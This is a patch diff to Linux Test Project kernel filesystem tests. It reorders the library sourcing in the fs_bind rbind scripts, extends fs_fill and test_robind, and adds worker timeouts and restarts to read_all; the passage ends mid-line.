--- a/testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind15.sh +++ b/testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind15.sh @@ -6,7 +6,6 @@ FS_BIND_TESTFUNC=test -. fs_bind_lib.sh test() { @@ -42,4 +41,5 @@ test() EXPECT_PASS umount parent1 } +. fs_bind_lib.sh tst_run diff --git a/testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind16.sh b/testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind16.sh index 8cb193e2..bf8414c9 100755 --- a/testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind16.sh +++ b/testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind16.sh @@ -6,7 +6,6 @@ FS_BIND_TESTFUNC=test -. fs_bind_lib.sh test() { @@ -33,4 +32,5 @@ test() EXPECT_PASS umount parent1 } +. fs_bind_lib.sh tst_run diff --git a/testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind17.sh b/testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind17.sh index f5bff11a..e4ca564a 100755 --- a/testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind17.sh +++ b/testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind17.sh @@ -6,7 +6,6 @@ FS_BIND_TESTFUNC=test -. fs_bind_lib.sh test() { @@ -47,4 +46,5 @@ test() EXPECT_PASS umount share1 } +. fs_bind_lib.sh tst_run diff --git a/testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind18.sh b/testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind18.sh index 94ffe947..0314c08b 100755 --- a/testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind18.sh +++ b/testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind18.sh @@ -6,7 +6,6 @@ FS_BIND_TESTFUNC=test -. fs_bind_lib.sh test() { @@ -47,4 +46,5 @@ test() EXPECT_PASS umount share1 } +. fs_bind_lib.sh tst_run diff --git a/testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind19.sh b/testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind19.sh index 527f69ae..9dd28c89 100755 --- a/testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind19.sh +++ b/testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind19.sh @@ -6,7 +6,6 @@ FS_BIND_TESTFUNC=test -. fs_bind_lib.sh test() { @@ -50,4 +49,5 @@ test() EXPECT_PASS umount share2 } +. fs_bind_lib.sh tst_run diff --git a/testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind20.sh b/testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind20.sh index 4e35487f..0603f9c6 100755 --- a/testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind20.sh +++ b/testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind20.sh @@ -6,7 +6,6 @@ FS_BIND_TESTFUNC=test -. fs_bind_lib.sh test() { @@ -47,4 +46,5 @@ test() EXPECT_PASS umount share1 } +. fs_bind_lib.sh tst_run diff --git a/testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind21.sh b/testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind21.sh index a1cb90b4..34eb8b27 100755 --- a/testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind21.sh +++ b/testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind21.sh @@ -6,7 +6,6 @@ FS_BIND_TESTFUNC=test -. fs_bind_lib.sh test() { @@ -53,4 +52,5 @@ test() EXPECT_PASS umount share1 } +. fs_bind_lib.sh tst_run diff --git a/testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind22.sh b/testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind22.sh index 7ed13787..1755ba44 100755 --- a/testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind22.sh +++ b/testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind22.sh @@ -6,7 +6,6 @@ FS_BIND_TESTFUNC=test -. fs_bind_lib.sh test() { @@ -46,4 +45,5 @@ test() EXPECT_PASS umount parent2 } +. fs_bind_lib.sh tst_run diff --git a/testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind23.sh b/testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind23.sh index a36e4793..e4b41ee8 100755 --- a/testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind23.sh +++ b/testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind23.sh @@ -6,7 +6,6 @@ FS_BIND_TESTFUNC=test -. fs_bind_lib.sh test() { @@ -46,4 +45,5 @@ test() EXPECT_PASS umount share1 } +. fs_bind_lib.sh tst_run diff --git a/testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind24.sh b/testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind24.sh index 73cc9bad..29c32677 100755 --- a/testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind24.sh +++ b/testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind24.sh @@ -6,7 +6,6 @@ FS_BIND_TESTFUNC=test -. fs_bind_lib.sh test() { @@ -46,4 +45,5 @@ test() EXPECT_PASS umount share1 } +. fs_bind_lib.sh tst_run diff --git a/testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind25.sh b/testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind25.sh index 717a9381..25d72104 100755 --- a/testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind25.sh +++ b/testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind25.sh @@ -6,7 +6,6 @@ FS_BIND_TESTFUNC=test -. fs_bind_lib.sh test() { @@ -53,4 +52,5 @@ test() EXPECT_PASS umount share1 } +. fs_bind_lib.sh tst_run diff --git a/testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind26.sh b/testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind26.sh index 9472f692..2ec56719 100755 --- a/testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind26.sh +++ b/testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind26.sh @@ -6,7 +6,6 @@ FS_BIND_TESTFUNC=test -. fs_bind_lib.sh test() { @@ -48,4 +47,5 @@ test() EXPECT_PASS umount share1 } +. fs_bind_lib.sh tst_run diff --git a/testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind27.sh b/testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind27.sh index 687230a2..d95f1150 100755 --- a/testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind27.sh +++ b/testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind27.sh @@ -6,7 +6,6 @@ FS_BIND_TESTFUNC=test -. fs_bind_lib.sh test() { @@ -53,4 +52,5 @@ test() EXPECT_PASS umount share1 } +. fs_bind_lib.sh tst_run diff --git a/testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind28.sh b/testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind28.sh index 828c5b94..29404471 100755 --- a/testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind28.sh +++ b/testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind28.sh @@ -6,7 +6,6 @@ FS_BIND_TESTFUNC=test -. fs_bind_lib.sh test() { @@ -48,4 +47,5 @@ test() EXPECT_PASS umount share1 } +. fs_bind_lib.sh tst_run diff --git a/testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind29.sh b/testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind29.sh index 105ad353..d84f9cab 100755 --- a/testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind29.sh +++ b/testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind29.sh @@ -6,7 +6,6 @@ FS_BIND_TESTFUNC=test -. fs_bind_lib.sh test() { @@ -40,4 +39,5 @@ test() EXPECT_PASS umount parent2 } +. fs_bind_lib.sh tst_run diff --git a/testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind30.sh b/testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind30.sh index 09df7002..9ee70ed3 100755 --- a/testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind30.sh +++ b/testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind30.sh @@ -6,7 +6,6 @@ FS_BIND_TESTFUNC=test -. fs_bind_lib.sh test() { @@ -35,4 +34,5 @@ test() EXPECT_PASS umount parent1 } +. fs_bind_lib.sh tst_run diff --git a/testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind31.sh b/testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind31.sh index e3495288..b3eff6e9 100755 --- a/testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind31.sh +++ b/testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind31.sh @@ -6,7 +6,6 @@ FS_BIND_TESTFUNC=test -. fs_bind_lib.sh test() { @@ -42,4 +41,5 @@ test() EXPECT_PASS umount parent1 } +. fs_bind_lib.sh tst_run diff --git a/testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind32.sh b/testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind32.sh index 3d68283c..1f49d9d8 100755 --- a/testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind32.sh +++ b/testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind32.sh @@ -6,7 +6,6 @@ FS_BIND_TESTFUNC=test -. fs_bind_lib.sh test() { @@ -35,4 +34,5 @@ test() EXPECT_PASS umount parent1 } +. fs_bind_lib.sh tst_run diff --git a/testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind33.sh b/testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind33.sh index 964acce1..13704ce2 100755 --- a/testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind33.sh +++ b/testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind33.sh @@ -6,7 +6,6 @@ FS_BIND_TESTFUNC=test -. fs_bind_lib.sh test() { @@ -18,11 +17,11 @@ test() EXPECT_PASS mount --rbind dir1 dir2 EXPECT_PASS mount --make-rslave dir2 - EXPECT_PASS mount --make-share dir2 + EXPECT_PASS mount --make-shared dir2 EXPECT_PASS mount --rbind dir2 dir3 EXPECT_PASS mount --make-rslave dir3 - EXPECT_PASS mount --make-share dir3 + EXPECT_PASS mount --make-shared dir3 EXPECT_PASS mount --rbind dir3 dir4 EXPECT_PASS mount --make-rslave dir4 @@ -56,4 +55,5 @@ test() EXPECT_PASS umount dir4 } +. fs_bind_lib.sh tst_run diff --git a/testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind34.sh b/testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind34.sh index c421432b..1d6b401c 100755 --- a/testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind34.sh +++ b/testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind34.sh @@ -6,7 +6,6 @@ FS_BIND_TESTFUNC=test -. fs_bind_lib.sh test() { @@ -40,4 +39,5 @@ test() EXPECT_PASS umount parent } +. fs_bind_lib.sh tst_run diff --git a/testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind35.sh b/testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind35.sh index f14168d3..758e631f 100755 --- a/testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind35.sh +++ b/testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind35.sh @@ -6,7 +6,6 @@ FS_BIND_TESTFUNC=test -. fs_bind_lib.sh test() { @@ -43,4 +42,5 @@ test() EXPECT_PASS umount parent } +. fs_bind_lib.sh tst_run diff --git a/testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind36.sh b/testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind36.sh index 8e90974b..a1af464e 100755 --- a/testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind36.sh +++ b/testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind36.sh @@ -6,7 +6,6 @@ FS_BIND_TESTFUNC=test -. fs_bind_lib.sh test() { @@ -38,4 +37,5 @@ test() EXPECT_PASS umount parent } +. fs_bind_lib.sh tst_run diff --git a/testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind37.sh b/testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind37.sh index 726fbf0e..c0054de6 100755 --- a/testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind37.sh +++ b/testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind37.sh @@ -6,7 +6,6 @@ FS_BIND_TESTFUNC=test -. fs_bind_lib.sh test() { @@ -52,4 +51,5 @@ test() EXPECT_PASS umount parent2/child2 } +. fs_bind_lib.sh tst_run diff --git a/testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind38.sh b/testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind38.sh index 8861230b..12ddaff6 100755 --- a/testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind38.sh +++ b/testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind38.sh @@ -6,7 +6,6 @@ FS_BIND_TESTFUNC=test -. fs_bind_lib.sh test() { @@ -51,4 +50,5 @@ test() EXPECT_PASS umount parent2/child2 } +. fs_bind_lib.sh tst_run diff --git a/testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind39.sh b/testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind39.sh index 697c7dd0..be98d179 100755 --- a/testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind39.sh +++ b/testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind39.sh @@ -6,7 +6,6 @@ FS_BIND_TESTFUNC=test -. fs_bind_lib.sh test() { @@ -28,4 +27,5 @@ test() EXPECT_PASS umount parent2 } +. fs_bind_lib.sh tst_run diff --git a/testcases/kernel/fs/fs_fill/fs_fill.c b/testcases/kernel/fs/fs_fill/fs_fill.c index 66b3974f..2ecd8e2a 100755 --- a/testcases/kernel/fs/fs_fill/fs_fill.c +++ b/testcases/kernel/fs/fs_fill/fs_fill.c @@ -18,6 +18,7 @@ #include "tst_test.h" #define MNTPOINT "mntpoint" +#define THREADS_DIR MNTPOINT "/subdir" static volatile int run; static unsigned int nthreads; @@ -25,6 +26,7 @@ static int enospc_cnt; static struct worker *workers; struct worker { + enum tst_fill_access_pattern pattern; char dir[PATH_MAX]; }; @@ -36,7 +38,7 @@ static void *worker(void *p) char file[PATH_MAX]; while (run) { - tst_fill_fs(w->dir, 0); + tst_fill_fs(w->dir, 1, w->pattern); tst_atomic_inc(&enospc_cnt); @@ -61,22 +63,26 @@ static void *worker(void *p) return NULL; } -static void testrun(void) +static void testrun(unsigned int n) { pthread_t threads[nthreads]; unsigned int i, ms; + tst_atomic_store(0, &enospc_cnt); + run = 1; - for (i = 0; i < nthreads; i++) + for (i = 0; i < nthreads; i++) { + workers[i].pattern = n; SAFE_PTHREAD_CREATE(&threads[i], NULL, worker, &workers[i]); + } for (ms = 0; ; ms++) { usleep(1000); - if (ms >= 1000 && enospc_cnt) + if (ms >= 1000 && tst_atomic_load(&enospc_cnt)) break; - if (enospc_cnt > 100) + if (tst_atomic_load(&enospc_cnt) > 100) break; } @@ -94,9 +100,15 @@ static void setup(void) nthreads = tst_ncpus_conf() + 2; workers = SAFE_MALLOC(sizeof(struct worker) * nthreads); + /* + * Avoid creating the thread directories in the root of the filesystem + * to not hit the root entries limit on a FAT16 filesystem. + */ + SAFE_MKDIR(THREADS_DIR, 0700); + for (i = 0; i < nthreads; i++) { snprintf(workers[i].dir, sizeof(workers[i].dir), - MNTPOINT "/thread%i", i + 1); + THREADS_DIR "/thread%i", i + 1); SAFE_MKDIR(workers[i].dir, 0700); } @@ -109,11 +121,13 @@ static void cleanup(void) } static struct tst_test test = { + .max_runtime = 60, .needs_root = 1, .mount_device = 1, .mntpoint = MNTPOINT, .all_filesystems = 1, .setup = setup, .cleanup = cleanup, - .test_all = testrun, + .test = testrun, + .tcnt = 2 }; diff --git a/testcases/kernel/fs/fs_readonly/test_robind.sh b/testcases/kernel/fs/fs_readonly/test_robind.sh index bab2648f..2d9a87b7 100755 --- a/testcases/kernel/fs/fs_readonly/test_robind.sh +++ b/testcases/kernel/fs/fs_readonly/test_robind.sh @@ -200,6 +200,8 @@ for fstype in $FSTYPES; do opts="-F" elif [ "$fstype" = "xfs" ]; then opts="-f" + elif [ "$fstype" = "f2fs" ]; then + opts="-f" elif [ "$fstype" = "btrfs" ]; then opts="-f" fi diff --git a/testcases/kernel/fs/fsstress/fsstress.c b/testcases/kernel/fs/fsstress/fsstress.c index 42ee696a..272d87a1 100755 --- a/testcases/kernel/fs/fsstress/fsstress.c +++ b/testcases/kernel/fs/fsstress/fsstress.c @@ -32,7 +32,8 @@ #include "config.h" #include "global.h" -#include +#include "tst_common.h" + #ifdef HAVE_SYS_PRCTL_H # include #endif diff --git a/testcases/kernel/fs/fsstress/global.h b/testcases/kernel/fs/fsstress/global.h index 4ec38242..e7d0cde4 100755 --- a/testcases/kernel/fs/fsstress/global.h +++ b/testcases/kernel/fs/fsstress/global.h @@ -33,7 +33,7 @@ #ifndef GLOBAL_H #define GLOBAL_H -/* xfs-specific includes */ +#define _GNU_SOURCE #if defined(NO_XFS) # include "xfscompat.h" @@ -42,8 +42,6 @@ # include #endif -/* libc includes */ - #include #include #include @@ -58,9 +56,6 @@ #include #include #include - -#ifndef O_DIRECT -#define O_DIRECT 040000 -#endif +#include "lapi/fcntl.h" #endif diff --git a/testcases/kernel/fs/iso9660/isofs.sh b/testcases/kernel/fs/iso9660/isofs.sh index 1d2ebe03..dfa4ac73 100755 --- a/testcases/kernel/fs/iso9660/isofs.sh +++ b/testcases/kernel/fs/iso9660/isofs.sh @@ -14,8 +14,6 @@ TST_NEEDS_TMPDIR=1 TST_SETUP=setup TST_TESTFUNC=do_test -. tst_test.sh - MAX_DEPTH=3 MAX_DIRS=4 @@ -97,4 +95,5 @@ do_test() done } +. tst_test.sh tst_run diff --git a/testcases/kernel/fs/lftest/lftest.c b/testcases/kernel/fs/lftest/lftest.c index 7290fb0d..9e293d9e 100755 --- a/testcases/kernel/fs/lftest/lftest.c +++ b/testcases/kernel/fs/lftest/lftest.c @@ -65,7 +65,7 @@ static void run(void) tst_res(TINFO, "total time for test to run: %d minute(s) and %d seconds", diff / 60, diff % 60); - tst_res(TPASS, "test successfull"); + tst_res(TPASS, "test successful"); } static struct tst_test test = { diff --git a/testcases/kernel/fs/linktest/linktest.sh b/testcases/kernel/fs/linktest/linktest.sh index 3386a445..e68ce10f 100755 --- a/testcases/kernel/fs/linktest/linktest.sh +++ b/testcases/kernel/fs/linktest/linktest.sh @@ -11,8 +11,6 @@ TST_OPTS="a:s:" TST_PARSE_ARGS=parse_args TST_USAGE=usage -. tst_test.sh - hard_links=1000 soft_links=1000 @@ -72,4 +70,5 @@ do_test() rm -rf hlink.$$ slink.$$ } +. tst_test.sh tst_run diff --git a/testcases/kernel/fs/quota_remount/quota_remount_test01.sh b/testcases/kernel/fs/quota_remount/quota_remount_test01.sh index e1ea5925..25d9f8fc 100755 --- a/testcases/kernel/fs/quota_remount/quota_remount_test01.sh +++ b/testcases/kernel/fs/quota_remount/quota_remount_test01.sh @@ -14,8 +14,6 @@ TST_CLEANUP=do_clean TST_TESTFUNC=do_test TST_MIN_KVER="2.6.26" -. tst_test.sh - do_setup() { if [ ! -d /proc/sys/fs/quota ]; then @@ -77,4 +75,5 @@ do_test() do_clean } +. tst_test.sh tst_run diff --git a/testcases/kernel/fs/read_all/Makefile b/testcases/kernel/fs/read_all/Makefile index 0e6dec2d..fb73e8fb 100755 --- a/testcases/kernel/fs/read_all/Makefile +++ b/testcases/kernel/fs/read_all/Makefile @@ -6,5 +6,6 @@ top_srcdir ?= ../../../.. include $(top_srcdir)/include/mk/testcases.mk CFLAGS += -D_GNU_SOURCE -pthread +read_all: LDLIBS+=-lrt include $(top_srcdir)/include/mk/generic_leaf_target.mk diff --git a/testcases/kernel/fs/read_all/read_all.c b/testcases/kernel/fs/read_all/read_all.c index a5b93b96..266678ea 100755 --- a/testcases/kernel/fs/read_all/read_all.c +++ b/testcases/kernel/fs/read_all/read_all.c @@ -1,14 +1,14 @@ // SPDX-License-Identifier: GPL-2.0-or-later /* - * Copyright (c) 2017 Richard Palethorpe + * Copyright (c) 2017-2022 Richard Palethorpe */ /* * Perform a small read on every file in a directory tree. * - * Useful for testing file systems like proc, sysfs and debugfs or anything - * which exposes a file like API so long as it respects O_NONBLOCK. This test - * is not concerned if a particular file in one of these file systems conforms - * exactly to its specific documented behavior. Just whether reading from that + * Useful for testing file systems like proc, sysfs and debugfs or + * anything which exposes a file like API. This test is not concerned + * if a particular file in one of these file systems conforms exactly + * to its specific documented behavior. Just whether reading from that * file causes a serious error such as a NULL pointer dereference. * * It is not required to run this as root, but test coverage will be much @@ -26,8 +26,11 @@ * an IPC stress test on systems with large numbers of weak cores. This can be * overridden with the 'w' parameters. */ +#include #include #include +#include +#include #include #include #include @@ -37,13 +40,15 @@ #include #include #include -#include #include #include #include #include +#include "tst_atomic.h" +#include "tst_safe_clocks.h" #include "tst_test.h" +#include "tst_timer.h" #define QUEUE_SIZE 16384 #define BUFFER_SIZE 1024 @@ -55,11 +60,15 @@ struct queue { int front; int back; char data[QUEUE_SIZE]; + char popped[BUFFER_SIZE]; }; struct worker { + int i; pid_t pid; struct queue *q; + int last_seen; + unsigned int kill_sent:1; }; enum dent_action { @@ -80,17 +89,30 @@ static char *str_max_workers; static long max_workers = 15; static struct worker *workers; static char *drop_privs; +static char *str_worker_timeout; +static int worker_timeout; +static int timeout_warnings_left = 15; static char *blacklist[] = { NULL, /* reserved for -e parameter */ - "/sys/power/wakeup_count", "/sys/kernel/debug/*", "/sys/devices/platform/*/eeprom", "/sys/devices/platform/*/nvmem", "/sys/*/cpu??*(?)/*", /* cpu* entries with 2 or more digits */ }; -static int queue_pop(struct queue *q, char *buf) +static long long epoch; + +static int atomic_timestamp(void) +{ + struct timespec now; + + SAFE_CLOCK_GETTIME(CLOCK_MONOTONIC_RAW, &now); + + return tst_timespec_to_us(now) - epoch; +} + +static int queue_pop(struct queue *q) { int i = q->front, j = 0; @@ -100,7 +122,7 @@ static int queue_pop(struct queue *q, char *buf) return 0; while (q->data[i]) { - buf[j] = q->data[i]; + q->popped[j] = q->data[i]; if (++j >= BUFFER_SIZE - 1) tst_brk(TBROK, "Buffer is too small for path"); @@ -108,7 +130,7 @@ static int queue_pop(struct queue *q, char *buf) i = (i + 1) % QUEUE_SIZE; } - buf[j] = '\0'; + q->popped[j] = '\0'; tst_atomic_store((i + 1) % QUEUE_SIZE, &q->front); return 1; @@ -161,7 +183,7 @@ static void sanitize_str(char *buf, ssize_t count) { int i; - for (i = 0; i < MIN(count, MAX_DISPLAY); i++) + for (i = 0; i < MIN(count, (ssize_t)MAX_DISPLAY); i++) if (!isprint(buf[i])) buf[i] = ' '; @@ -186,62 +208,68 @@ static int is_blacklisted(const char *path) return 0; } -static void read_test(const char *path) +static void worker_heartbeat(const int worker) +{ + tst_atomic_store(atomic_timestamp(), &workers[worker].last_seen); +} + +static int worker_elapsed(const int worker) +{ + struct worker *const w = workers + worker; + + return atomic_timestamp() - tst_atomic_load(&w->last_seen); +} + +static int worker_ttl(const int worker) +{ + return MAX(0, worker_timeout - worker_elapsed(worker)); +} + +static void read_test(const int worker, const char *const path) { char buf[BUFFER_SIZE]; int fd; ssize_t count; + const pid_t pid = workers[worker].pid; + int elapsed; if (is_blacklisted(path)) return; if (verbose) - tst_res(TINFO, "%s(%s)", __func__, path); + tst_res(TINFO, "Worker %d: %s(%s)", pid, __func__, path); fd = open(path, O_RDONLY | O_NONBLOCK); if (fd < 0) { - if (!quiet) - tst_res(TINFO | TERRNO, "open(%s)", path); + if (!quiet) { + tst_res(TINFO | TERRNO, "Worker %d (%d): open(%s)", + pid, worker, path); + } return; } + worker_heartbeat(worker); count = read(fd, buf, sizeof(buf) - 1); + elapsed = worker_elapsed(worker); + if (count > 0 && verbose) { sanitize_str(buf, count); - tst_res(TINFO, "read(%s, buf) = %zi, buf = %s", - path, count, buf); + tst_res(TINFO, + "Worker %d (%d): read(%s, buf) = %zi, buf = %s, elapsed = %dus", + pid, worker, path, count, buf, elapsed); } else if (!count && verbose) { - tst_res(TINFO, "read(%s) = EOF", path); + tst_res(TINFO, + "Worker %d (%d): read(%s) = EOF, elapsed = %dus", + pid, worker, path, elapsed); } else if (count < 0 && !quiet) { - tst_res(TINFO | TERRNO, "read(%s)", path); + tst_res(TINFO | TERRNO, + "Worker %d (%d): read(%s), elapsed = %dus", + pid, worker, path, elapsed); } SAFE_CLOSE(fd); } -static int worker_run(struct worker *self) -{ - char buf[BUFFER_SIZE]; - struct sigaction term_sa = { - .sa_handler = SIG_IGN, - .sa_flags = 0, - }; - struct queue *q = self->q; - - sigaction(SIGTTIN, &term_sa, NULL); - - while (1) { - if (!queue_pop(q, buf)) - break; - - read_test(buf); - } - - queue_destroy(q, 1); - tst_flush(); - return 0; -} - static void maybe_drop_privs(void) { struct passwd *nobody; @@ -266,6 +294,39 @@ static void maybe_drop_privs(void) tst_brk(TBROK | TTERRNO, "Failed to use nobody uid"); } +static int worker_run(int worker) +{ + struct sigaction term_sa = { + .sa_handler = SIG_IGN, + .sa_flags = 0, + }; + struct worker *const self = workers + worker; + struct queue *q = self->q; + + sigaction(SIGTTIN, &term_sa, NULL); + maybe_drop_privs(); + self->pid = getpid(); + + if (!worker_ttl(self->i)) { + tst_brk(TBROK, + "Worker timeout is too short; restarts take >%dus", + worker_elapsed(self->i)); + } + + while (1) { + worker_heartbeat(worker); + + if (!queue_pop(q)) + break; + + read_test(worker, q->popped); + } + + queue_destroy(q, 1); + tst_flush(); + return 0; +} + static void spawn_workers(void) { int i; @@ -274,41 +335,135 @@ static void spawn_workers(void) memset(workers, 0, worker_count * sizeof(*workers)); for (i = 0; i < worker_count; i++) { + wa[i].i = i; wa[i].q = queue_init(); + wa[i].last_seen = atomic_timestamp(); wa[i].pid = SAFE_FORK(); - if (!wa[i].pid) { - maybe_drop_privs(); - exit(worker_run(wa + i)); + if (!wa[i].pid) + exit(worker_run(i)); + } +} + +static void restart_worker(const int worker) +{ + struct worker *const w = workers + worker; + int wstatus, ret, i, q_len; + + if (!w->kill_sent) { + SAFE_KILL(w->pid, SIGKILL); + w->kill_sent = 1; + worker_heartbeat(worker); + } + + ret = waitpid(w->pid, &wstatus, WNOHANG); + + if (!ret) { + if (worker_ttl(worker) > 0) + return; + + if (!quiet || timeout_warnings_left) { + tst_res(TINFO, + "Worker %d (%d): Timeout waiting after kill", + w->pid, worker); } + } else if (ret != w->pid) { + tst_brk(TBROK | TERRNO, "Worker %d (%d): waitpid = %d", + w->pid, worker, ret); + } + + w->kill_sent = 0; + + if (!w->q->popped[0]) { + tst_brk(TBROK, + "Worker %d (%d): Timed out, but doesn't appear to be reading anything", + w->pid, worker); + } + + if (!quiet || timeout_warnings_left) { + tst_res(TINFO, "Worker %d (%d): Last popped '%s'", + w->pid, worker, w->q->popped); + } + + /* Make sure the queue length and semaphore match. Threre is a + * race in qeue_pop where the semaphore can be decremented + * then the worker killed before updating q->front + */ + q_len = 0; + i = w->q->front; + while (i != w->q->back) { + if (!w->q->data[i]) + q_len++; + + i = (i + 1) % QUEUE_SIZE; } + + ret = sem_destroy(&w->q->sem); + if (ret == -1) + tst_brk(TBROK | TERRNO, "sem_destroy"); + ret = sem_init(&w->q->sem, 1, q_len); + if (ret == -1) + tst_brk(TBROK | TERRNO, "sem_init"); + + worker_heartbeat(worker); + w->pid = SAFE_FORK(); + + if (!w->pid) + exit(worker_run(worker)); } -static void work_push_retry(int worker, const char *buf) +static void check_timeout_warnings_limit(void) { - int i, ret, worker_min, worker_max, usleep_time = 100; + if (!quiet) + return; - if (worker < 0) { - /* pick any, try -worker first */ - worker_min = worker * (-1); - worker_max = worker_count; - } else { - /* keep trying worker */ - worker_min = worker; - worker_max = worker + 1; + timeout_warnings_left--; + + if (timeout_warnings_left) + return; + + tst_res(TINFO, + "Silencing timeout warnings; consider increasing LTP_RUNTIME_MUL or removing -q"); +} + +static int try_push_work(const int worker, const char *buf) +{ + int ret = 0; + int elapsed; + struct worker *const w = workers + worker; + + if (w->kill_sent) { + restart_worker(worker); + return 0; } - i = worker_min; - for (;;) { - ret = queue_push(workers[i].q, buf); - if (ret == 1) - break; + ret = queue_push(w->q, buf); + if (ret) + return 1; + + elapsed = worker_elapsed(worker); - if (++i >= worker_max) { - i = worker_min; - if (usleep_time < 100000) - usleep_time *= 2; - usleep(usleep_time); + if (elapsed > worker_timeout) { + if (!quiet || timeout_warnings_left) { + tst_res(TINFO, + "Worker %d (%d): Stuck for %dus, restarting it", + w->pid, worker, elapsed); + check_timeout_warnings_limit(); } + restart_worker(worker); + } + + return 0; +} + +static void push_work(const int worker, const char *buf) +{ + int sleep_time = 1; + + while (!try_push_work(worker, buf)) { + const int ttl = worker_ttl(worker); + + sleep_time = MIN(2 * sleep_time, ttl); + usleep(sleep_time); } } @@ -322,8 +477,16 @@ static void stop_workers(void) for (i = 0; i < worker_count; i++) { if (workers[i].q) - work_push_retry(i, stop_code); + push_work(i, stop_code); } +} + +static void destroy_workers(void) +{ + int i; + + if (!workers) + return; for (i = 0; i < worker_count; i++) { if (workers[i].q) { @@ -333,19 +496,41 @@ static void stop_workers(void) } } -static void rep_sched_work(const char *path, int rep) +static int sched_work(const int first_worker, + const char *path, int repetitions) { int i, j; + int min_ttl = worker_timeout, sleep_time = 1; + int pushed, workers_pushed = 0; - for (i = j = 0; i < rep; i++, j++) { + for (i = 0, j = first_worker; i < repetitions; j++) { if (j >= worker_count) j = 0; - work_push_retry(-j, path); + + if (j == first_worker && !workers_pushed) { + sleep_time = MIN(2 * sleep_time, min_ttl); + usleep(sleep_time); + min_ttl = worker_timeout; + } + + if (j == first_worker) + workers_pushed = 